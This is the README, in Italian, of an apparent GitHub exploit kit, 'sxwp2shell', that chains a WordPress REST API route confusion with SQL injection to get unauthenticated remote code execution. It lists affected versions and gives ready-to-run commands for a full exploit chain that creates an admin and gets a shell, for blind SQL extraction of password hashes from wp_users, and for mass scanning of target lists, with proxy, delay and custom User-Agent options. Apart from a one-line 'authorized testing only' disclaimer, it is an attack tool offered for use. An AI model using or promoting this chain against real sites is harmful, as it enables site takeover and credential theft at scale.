sentinelxofficial/sxwp2shellKit di exploit RCE pre-autenticazione wp2shell per WordPress (CVE-2026-63030 + CVE-2026-60137)
/ ___/___ ____ / /_(_)___ ___ / / | |/ /
\__ \/ _ \/ __ \/ __/ / __ \/ _ \/ / | /
___/ / __/ / / / /_/ / / / / __/ /___/ |
/____/\___/_/ /_/\__/_/_/ /_/\___/_____/_/|_|
sxwp2shell — Exploit RCE pre-autenticazione per WordPress tramite confusione batch-route dell'API REST (CVE-2026-63030) + SQL injection (CVE-2026-60137).
Versioni interessate: WP 6.9.0–6.9.4 / 7.0.0–7.0.1
git clone https://github.com/SentinelXofficial/sxwp2shell
cd sxwp2shell
chmod +x sxwp2shell.py
Python 3.7+, solo libreria standard — nessuna installazione pip necessaria.
| Comando | Cosa fa |
|---|
check <url> | Rileva versione, endpoint batch, confusione di route e SQLi |
exploit <url> | Catena RCE completa (SQLi → creazione admin → shell) |
read <url> | Estrazione dati SQLi cieca |
scan <file> | Scansione massiva di target da file, esporta CSV |
python3 sxwp2shell.py check https://target.com
python3 sxwp2shell.py exploit https://target.com --cmd id
python3 sxwp2shell.py read https://target.com --query "SELECT user_pass FROM wp_users"
python3 sxwp2shell.py scan targets.txt -o results.csv
--cmd CMD Command to execute (default: id)
--query QUERY Custom SQL query
-k, --insecure Skip SSL verification
--proxy PROXY HTTP proxy
--timeout SEC Request timeout (default: 15)
--delay SEC Delay between requests
--agent AGENT Custom User-Agent
--no-color Disable colored output
-o, --output Save scan results to CSV
Solo per test di sicurezza autorizzati. Leggi DISCLAIMER.md.